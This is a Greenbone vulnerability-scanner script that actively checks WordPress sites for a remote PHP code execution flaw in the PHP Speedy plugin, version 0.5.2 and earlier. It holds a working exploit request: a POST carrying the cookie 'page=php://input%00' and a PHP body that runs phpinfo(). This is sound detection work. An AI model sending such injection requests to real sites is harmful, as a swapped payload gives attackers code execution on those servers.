WordPress PHP Speedy Plugin <= 0.5.2 'page' Parameter Remote PHP Code Execution Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802008");
  script_version("2025-11-11T05:40:18+0000");
  script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
  script_tag(name:"creation_date", value:"2011-03-22 08:43:18 +0100 (Tue, 22 Mar 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("WordPress PHP Speedy Plugin <= 0.5.2 'page' Parameter Remote PHP Code Execution Vulnerability - Active Check");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/16273");
  script_xref(name:"URL", value:"https://packetstorm.news/files/id/98921");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210127130715/http://www.securityfocus.com/bid/46743");
  script_xref(name:"URL", value:"https://exchange.xforce.ibmcloud.com/vulnerabilities/65913");
  script_xref(name:"URL", value:"http://secunia.com/advisories/43652/");

  script_tag(name:"qod_type", value:"remote_vul");
  # nb: The POST request might be already seen as an attack...
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
  malicious PHP code to in the context of an affected site.");

  script_tag(name:"affected", value:"WordPress PHP Speedy plugin version 0.5.2 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"summary", value:"WordPress PHP Speedy Plugin is prone to a remote PHP code
  execution vulnerability.");

  script_tag(name:"insight", value:"The flaws are caused by improper validation of user-supplied
  input via the 'page' parameter to
  '/wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php', which allows
  attackers to execute arbitrary PHP code in the context of an affected site.

  NOTE: Exploit will work properly when the following settings are configured within PHP:

  register_globals=On, allow_url_include=On and magic_quotes_gpc=Off");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

useragent = http_get_user_agent();
postData = "<?php phpinfo(); ?>";
url = dir + "/wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php";

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
host = http_host_name( port:port );

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Cookie: page=php://input%00\r\n",
             "Content-Length: ", strlen(postData),
             "\r\n\r\n", postData);
res = http_keepalive_send_recv(port:port, data:req);

if(!res || res !~ "^HTTP/1\.[01] 200")
  exit(0);

if(concl = http_check_for_phpinfo_output(data:res)) {
  report = http_report_vuln_url(port:port, url:url);
  report += '\nConcluded from:\n' + concl;
  security_message(port:port, data:report);
  exit(0);
}

exit(99);